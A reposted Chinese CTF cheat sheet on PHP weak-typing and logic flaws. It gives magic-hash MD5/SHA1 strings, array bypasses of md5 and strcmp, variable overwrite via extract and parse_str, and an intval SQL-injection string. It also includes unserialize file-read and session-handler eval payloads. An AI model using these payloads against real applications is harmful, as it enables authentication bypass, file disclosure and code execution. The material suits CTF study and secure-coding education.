转载CTF

1.MD5 compare漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 
常见的payload有

0x01 md5(str)
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
     sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")
    2

同时MD5不能处理数组,若有以下判断则可用数组绕过

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

2.ereg函数漏洞:00截断
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
1
字符串对比解析 
在这里如果 $_GET[‘password’]为数组,则返回值为NULL 
如果为123 || asd || 12as || 123%00&&&**,则返回值为true 
其余为false

3.变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

    <?php

    //key.php?aaaa'aaa=1&bb'b=2 

    //print_R($_GET); 

     foreach ($_GET AS $key => $value)

    {

            print $key."\n";

    }

    ?>

4.变量覆盖
extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖

<?php  
    $auth = '0';  
    // 这里可以覆盖$auth的变量值
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>

<?php  
$a='hi';
foreach($_GET as $key => $value) {
        echo $key;
        $$key = $value;
}
print $a;
?>

5.strcmp
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 
5.2 中是将两个参数先转换成string类型。 
5.3.3以后,当比较数组和字符串的时候,返回是0。 
5.5 中如果参数不是string类型,直接return了

<?php
    $password=$_GET['password'];
    if (strcmp('xd',$password)) {
     echo 'NO!';
    } else{
        echo 'YES!';
    }
?>

6.sha1 和 md5 函数
md5 和 sha1 无法处理数组,返回 NULL

if (@sha1([]) ==  false)
    echo 1;
if (@md5([]) ==  false)
    echo 2;
echo var_dump(@sha1([]));

7.is_numeric
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。

<?php
echo is_numeric(233333);       # 1
echo is_numeric('233333');    # 1
echo is_numeric(0x233333);    # 1
echo is_numeric('0x233333');   # 1
echo is_numeric('233333abc');  # 0
?>

8.preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>

9.parse_str
与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

//var.php?var=new  
$var='init';  
parse_str($_SERVER['QUERY_STRING']);  
print $var;

10.字符串比较
== 是弱类型的比较,以下比较都为 true


<?php  
echo 0 == 'a' ;// a 转换为数字为 0    重点注意

// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388' ;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;    

// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef'  == '     0xABCdef';
echo '0010e2' == '1e3';
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

11.unset
unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

<?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 这个函数会把 $_CONFIG 变量销毁
      unset($$key);
    }
}

if ($_CONFIG['extraSecure'] == false) {
    echo 'flag {****}';
}
?>

12.intval()
int转string:

$var = 5;  
方式1:$item = (string)$var;  
方式2:$item = strval($var); 

string转int:intval()函数。

var_dump(intval('2')) //2  
var_dump(intval('3abcd')) //3  
var_dump(intval('abcd')) //0 

说明intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。 
利用代码:

<?php  
$a = '10000 union select * from yz';
if(intval($a)>1000)   
    echo $a ;
?>

13.switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:

<?php
$i ="2abc";  
switch ($i) {  
case 0:  
case 1:  
case 2:  
echo "i is less than 3 but not negative";  
break;  
case 3:  
echo "i is 3";  

?>

这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。

14.in_array()
$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); //true  
var_dump(in_array('1bc', $array)); //true 

可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。 
在所有php认为是int的地方输入string,都会被强制转换

15.serialize 和 unserialize漏洞
1.魔术方法

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 
例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 
这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。

在这里介绍一个序列化漏洞,首先不要相信用户输入的一切 
看下面代码

<?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = new test();
$a->file = 'C:\Users\YZ\Desktop\plan.txt';
echo serialize($a);
?>
//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了

下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了 
echo unserialize触发了__tostring函数

<?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
echo unserialize($a);
?>

16.session 反序列化漏洞
主要原因是 
ini_set(‘session.serialize_handler’, ‘php_serialize’); 
ini_set(‘session.serialize_handler’, ‘php’); 
两者处理session的方式不同

利用下面代码可以生成session值

<?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

我们来看看生成的session值


spoock|s:3:"111";    //session键值|内容序列化
a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化}
在ini_set('session.serialize_handler', 'php');中把|之前认为是键值后面的视为序列化
那么就可以利用这一漏洞执行一些恶意代码
看下面的例子 
1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
2.php

<?php
   ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);//这里很危险,可以执行用户输入的参数
    }
}
?>
在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 
则被序列化为 
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 
在2.PHP里面打开 
就可以执行phpinfo()了 
--------------------- 
作者:4ct10n 
来源:CSDN 
原文:https://blog.csdn.net/qq_31481187/article/details/60968595 
版权声明:本文为博主原创文章,转载请附上博文链接!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/381068.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java jtable刷新_java-单击按钮更新JTable

I have searched on stackoverflow and a couple of people have said to use that method.不,您不应在TableModel本身的上下文之外调用任何fireTableXxx方法,否则人们会认为这完全是错误的,将来会给您带来麻烦.从代码的外观来看,什么都没有改变.如果您已根据上一个问题中提供的…

韩寒说世博会

先声明:我不是韩寒的什么粉丝,也不太关注这些作家的事情,希望这些文字能让你想到一些什么东西...........转载自:http://tieba.baidu.com/f?kz752703402 最近&#xff0c;老是有媒体要关于世博会采访我&#xff0c;我觉得很为难&#xff0c;如果我赞美他吧&#xff0c;估计我良…

windows系统下的云服务器部署tomcat

在环境配置没问题的基础下&#xff0c;如果启动服务器缺无法打开默认页面&#xff0c;则很有可能说明是你的端口问题&#xff1a; 这里我的解决方法&#xff1a; 控制面板-->系统和安全-->Windows 防火墙-->高级设置-->入站规则-->新建规则 依次选择端口-->…

营销公式

世界上最难得事情就是将别人的钱放到自己口袋。 要想别人给钱&#xff0c;首先要有控制别人的能力&#xff0c;例子&#xff0c;奴隶主能控制奴隶。 权力是来钱的关键因素。也就是说应该增加别人对你的依赖。 人们的弱点&#xff1a; 1.只看到短期利益&#xff0c;往往忽视长期…

centos修改磁盘uuid_Centos更换损坏硬盘UUID改变导致系统不能正常启动处理

Centos更换损坏硬盘UUID改变导致系统不能正常启动处理一、适用场景本文档的适用场景为&#xff0c;更换硬盘导致系统启动时因UUID不同&#xff0c;导致挂载文件读取失败&#xff0c;系统不能正常启动&#xff0c;同时本文档的处理方法也适用于fstab文件配置出错导致无法启动系统…

git远程仓库上传及本地仓库创建

第一步&#xff1a;我们需要先创建一个本地的版本库&#xff08;其实也就是一个文件夹&#xff09;。 你可以直接右击新建文件夹&#xff0c;也可以右击打开Git bash命令行窗口通过命令来创建。 现在我通过命令行在桌面新建一个TEST文件夹&#xff08;你也可以在其他任何地方创…

强大js web甘特图制作之甘特图组件和数据对象

引用CSS和JS 使用EdoGantt是一件简单轻松的事&#xff0c;首先我们在HTML页面内引用CSS和JS&#xff1a; <!--edo css--><link href"http://www.cnblogs.com/scripts/edo/res/css/edo-all.css" rel"stylesheet" type"text/css" />&l…

华为安装gsm框架_华为谷歌框架安装app下载-华为谷歌服务框架安装器(GMS安装器)下载v1.2.0 最新版-西西软件下载...

华为谷歌服务框架安装器是专为华为手机用户打造的谷歌服务框架安装软件&#xff0c;让你可以一键在手机上安装谷歌框架&#xff0c;无需root即可一键安装谷歌框架&#xff0c;使用简单方便&#xff0c;欢迎有需要的朋友前来下载。软件介绍华为谷歌服务框架安装器(GMS安装器)是一…

Butterknife使用——转

转载请标明出处&#xff1a;http://blog.csdn.net/donkor_/article/details/77879630 前言&#xff1a; ButterKnife是一个专注于Android系统的View注入框架,以前总是要写很多findViewById来找到View对象&#xff0c;有了ButterKnife可以很轻松的省去这些步骤。是大神JakeWha…

百度文档搜索与Google文档搜索的简单比较

很多有具有参考价值的资料&#xff0c;比如学生写论文报告&#xff0c;老师做课件&#xff0c;找工作准备简历都需要参考其他人的成果。在互联网上&#xff0c;这类资料一般不是普通的html网页&#xff0c;而是以Word、ppt(s)、Excel、pdf等格式存在的。虽然这些文件不象Html文…

使用宝塔部署node项目_使用宝塔面板进行项目的自动部署WebHook

首先你要知道什么是WebHook&#xff0c;如果你真的不想知道那也没关系。总之就是在你push到git仓库时会从git仓库触发一个http请求。关于http的地址根据你不同的git仓库有不同的方式去配置。首先配置宝塔面板&#xff0c;你需要安装宝塔插件中的 WebHook随便起一个名字然后保存…

git命令——转

github和gitlab等等一系列的分布式代码托管服务器方便我们开发人员在小组内开发项目&#xff0c;说起分布式代码托管就给大家提一下另外一代码托管SVN,当然他不是分布式的&#xff0c;而是集中式的代码托管&#xff0c;有兴趣的可以查阅资料了解一下&#xff0c;在这里我将着重…

17joys网站后台功能设计-阶段1

开始没想把网站设计的很完善再开始写代码&#xff0c;主要也是想通过不断的编写小模块&#xff0c;最后再整合在一起&#xff0c;这样也好记录我每个时间段的经验心得&#xff0c;在设计17joys的网站后台功能时&#xff0c;看了很多CMS系统&#xff0c;最后还是决定参考我最喜欢…

vue复选框组件自定义对勾_vue+element:树级复选框组件使用

handleCheck(checkedKeys,checkedNodes,halfCheckedKeys,halfCheckedNodes){var len 0,num 0;var _alen 0;var a [];var b [];var copyArr [];for (var i 0;i < checkedNodes.checkedNodes.length;i){//记录子节点的索引if (checkedNodes.checkedNodes[i].children nul…

汇编指令——转

今天来扒一扒X86汇编指令&#xff08;IA-32指令&#xff09;&#xff0c;首先看看它的概念&#xff1a; IA-32&#xff08;Intel Architecture 32bit&#xff0c;英特尔32位体系架构&#xff09;[1] &#xff0c;属于X86体系结构的32位版本&#xff0c;即具有32位内存地址和32…

生成颜色代码的 Java程序

在网页 http://flash.9ria.com/thread-33919-1-1.html 找到如下代码。他可以指定 开始颜色&#xff0c; 结束颜色&#xff0c; 以及 步长&#xff0c;函数返回一个 java 数组&#xff0c;数组中包含有颜色代码。 选择 开始颜色&#xff0c; 结束颜色时可以参见下面的 颜色代码表…

flutter生成源代码_Flutter创建工程的主要代码详解

使用Android Studio创建的默认Flutter工程主要代码在lib文件夹下的main.dart文件中&#xff0c;本文主要对该文件进行一个讲解。main.dart文件可以认为是Flutter工程的入口文件&#xff0c;文件顶部import package:flutter/material.dart;(即引入了一个dart文件&#xff0c;该文…

Centos7 开启网卡配置IP并连接xshell——转

1、在VMware中安装Centos7系统[1] 2、查看虚拟机里的Centos7的IP[2] 1)查看IP 输入ip查询命名 ip addr 发现 ens33 没有 inet 这个属性&#xff0c;那么就没法通过IP地址连接虚拟机。 2&#xff09;接着来查看ens33网卡的配置&#xff1a; vi /etc/sysconfig/network-scripts…

用眼过渡

一、动1、多眨眼通常情况下&#xff0c;一般人每分钟眨眼少于5次会使眼睛干燥。一个人在电脑前工作时眨眼次数只及平时的三分之一&#xff0c;因而减少了眼内润滑剂 和酶的分泌。应该多眨眼&#xff0c;每隔一小时至少让眼睛休息一次。 2、晶体操 转眼&#xff1a;双手托腮&…

rda冗余分析步骤_群落分析的典范对应分析(CCA)概述

典范对应分析(CCA)与去趋势典范对应分析(DCCA)概述典范对应分析(canonical correspondence analysis&#xff0c;CCA)是单峰约束排序方法&#xff0c;是对应分析(CA)与多元回归的结合&#xff0c;其算法源自冗余分析(RDA)。同RDA&#xff0c;CCA涉及两个数据矩阵&#xff0c;响…